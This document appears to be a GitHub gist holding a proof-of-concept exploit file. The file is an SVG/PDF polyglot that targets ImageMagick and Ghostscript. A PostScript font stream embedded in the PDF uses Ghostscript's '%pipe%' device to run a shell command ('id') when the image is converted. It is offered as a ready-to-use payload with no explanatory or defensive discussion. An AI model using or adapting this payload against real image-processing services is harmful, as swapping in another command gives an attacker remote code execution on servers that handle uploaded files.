Skip to content

Instantly share code, notes, and snippets.

@Romern
Created September 6, 2023 19:24
Show Gist options
  • Save Romern/8bbb571456be4ecbfba18d1c7a043f24 to your computer and use it in GitHub Desktop.
Save Romern/8bbb571456be4ecbfba18d1c7a043f24 to your computer and use it in GitHub Desktop.
svg pdf polyglot imagemagick/ghostscript mit command execution
Display the source blob
Display the rendered blob
Raw
<?xml version="1.0"?>
<svg version="1.1" width="200" height="200">
<!--
%PDF-1.3
%% Original object ID: 11 0
1 0 obj
<<
/Names <<
/EmbeddedFiles <<
/Names [
]
>>
>>
/Pages 3 0 R
/Type /Catalog
>>
endobj
%% Original object ID: 10 0
2 0 obj
<<
/CreationDate (D:19700101010000)
/ModDate (D:19700101010000)
/Title (b7456dda642c99216a09)
>>
endobj
%% Original object ID: 1 0
3 0 obj
<<
/Count 1
/Kids [
4 0 R
]
/MediaBox [
0
0
2480.00
3508.00
]
/Type /Pages
>>
endobj
%% Page 1
%% Original object ID: 3 0
4 0 obj
<<
/Contents 5 0 R
/Parent 3 0 R
/Resources 7 0 R
/Type /Page
>>
endobj
%% Contents for page 1
%% Original object ID: 4 0
5 0 obj
<<
/Length 6 0 R
>>
stream
0 J
0 j
0.57 w
0.000 G
0.000 g
0.000 G
0.00 3508.00 2480.00 -3508.00 re f
BT /F2d5035d1c4643b8cd9e8dc258821e5fe68fd1bf6 150.00 Tf ET
200.00 2308.00 m
q 0.000 1.000 0.000 rg BT 202.84 2263.00 Td (ABCDEFGHIJKLM)Tj ET Q
200.00 2108.00 m
q 0.000 1.000 0.000 rg BT 202.84 2063.00 Td (NOPQRSTUVWXYZ)Tj ET Q
BT /Ff3d9bb94eeeff89a090f4dc5bfa51473a19690b3 150.00 Tf ET
200.00 2708.00 m
q 0.000 1.000 0.000 rg BT 202.84 2663.00 Td (No Ghostscript / error)Tj ET Q
endstream
endobj
6 0 obj
453
endobj
%% Original object ID: 2 0
7 0 obj
<<
/ColorSpace <<
>>
/Font <<
/F2d5035d1c4643b8cd9e8dc258821e5fe68fd1bf6 8 0 R
/Ff3d9bb94eeeff89a090f4dc5bfa51473a19690b3 9 0 R
>>
/ProcSet [
/PDF
/Text
/ImageB
/ImageC
/ImageI
]
/XObject <<
>>
>>
endobj
%% Original object ID: 6 0
8 0 obj
<<
/BaseFont /PSPoeb
/Encoding /WinAnsiEncoding
/FirstChar 32
/FontDescriptor 10 0 R
/LastChar 255
/Subtype /Type1
/Type /Font
/Widths 11 0 R
>>
endobj
%% Original object ID: 9 0
9 0 obj
<<
/BaseFont /Courier
/Encoding /WinAnsiEncoding
/Subtype /Type1
/Type /Font
>>
endobj
%% Original object ID: 8 0
10 0 obj
<<
/Ascent 0
/CapHeight 0
/Descent 0
/Flags 0
/FontBBox [
0
0
0
0
]
/FontFile 12 0 R
/FontName /PSPoeb
/ItalicAngle 0
/MissingWidth 0
/StemV 0
/Type /FontDescriptor
>>
endobj
%% Original object ID: 7 0
11 0 obj
[
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
500
]
endobj
%% Original object ID: 5 0
12 0 obj
<<
/Length1 0
/Length 13 0 R
>>
stream
%!PS
(%pipe%id) (w) file
endstream
endobj
13 0 obj
25
endobj
xref
0 14
0000000000 65535 f
0000000053 00000 n
0000000204 00000 n
0000000350 00000 n
0000000513 00000 n
0000000652 00000 n
0000001160 00000 n
0000001207 00000 n
0000001491 00000 n
0000001695 00000 n
0000001826 00000 n
0000002078 00000 n
0000003470 00000 n
0000003565 00000 n
trailer <<
/Info 2 0 R
/Root 1 0 R
/Size 14
/ID [<344a59ac0e11dd63e152458a05b70dc0><344a59ac0e11dd63e152458a05b70dc0>]
>>
startxref
3585
%%EOF
-->
</svg>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment